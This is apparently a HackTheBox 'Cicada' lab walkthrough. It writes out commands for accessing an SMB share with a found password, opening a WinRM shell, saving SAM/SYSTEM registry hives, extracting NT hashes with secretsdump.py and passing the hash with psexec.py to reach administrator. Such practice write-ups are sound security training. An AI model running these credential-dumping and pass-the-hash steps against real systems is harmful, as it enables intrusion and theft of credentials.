Cicada writeup & walkthrough

Cicada is an easy HackTheBox Windows machine exploiting an accessible SMB DEV share to discover credentials, then leveraging WinRM for initial access and Active Directory privilege escalation.

Cicada - HTB-style Walkthrough

Access Path

no access => domain user => Administrator

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Video: https://youtu.be/qER4mbvXucE

Files & assets

A summary of what we have to work with: a readable DEV SMB share, WinRM enabled for one account, the ability to save registry hives, and the tools used throughout.

# Provided / discovered:
# - DEV SMB share accessible
# - Host has WinRM enabled for one account
# - Ability to save HKLM hives to desktop for offline dumping
# - Tools used: smbclient, evil-winrm, reg, secretsdump.py, psexec.py

SMB: access DEV share

Log in to the DEV share with the discovered low-privilege credentials to read its contents.

# replace $IP and $user2
smbclient //$IP/DEV -U $user2%'aRt$Lp#7t*VQ!3'

WinRM: interactive shell

The recovered account has WinRM access, so evil-winrm gives an interactive shell on the host.

# replace $IP, $domain, $user3, $pass3
evil-winrm -i $IP -u $user3 -p $pass3

Dump registry hives (on target)

From an elevated shell, save the SYSTEM and SAM hives to disk and transfer them back to the attacker machine for offline dumping.

# run from an elevated shell on the target
reg save HKLM\SYSTEM C:\Users\[USER]\Desktop\system.hive
reg save HKLM\SAM    C:\Users\[USER]\Desktop\sam.hive

# transfer the hive files to attacker machine (example using smb or scp)

Offline SAM/registry extraction and lateral use

secretsdump.py extracts the local NT hashes from the hives; we pass-the-hash with psexec.py as administrator for full access.

# on attacker, after downloading sam.hive and system.hive
secretsdump.py -sam sam.hive -system system.hive LOCAL

# use extracted NT hashes for lateral movement
# replace <LM:NT> and $IP
psexec.py -hashes <LM:NT> administrator@$IP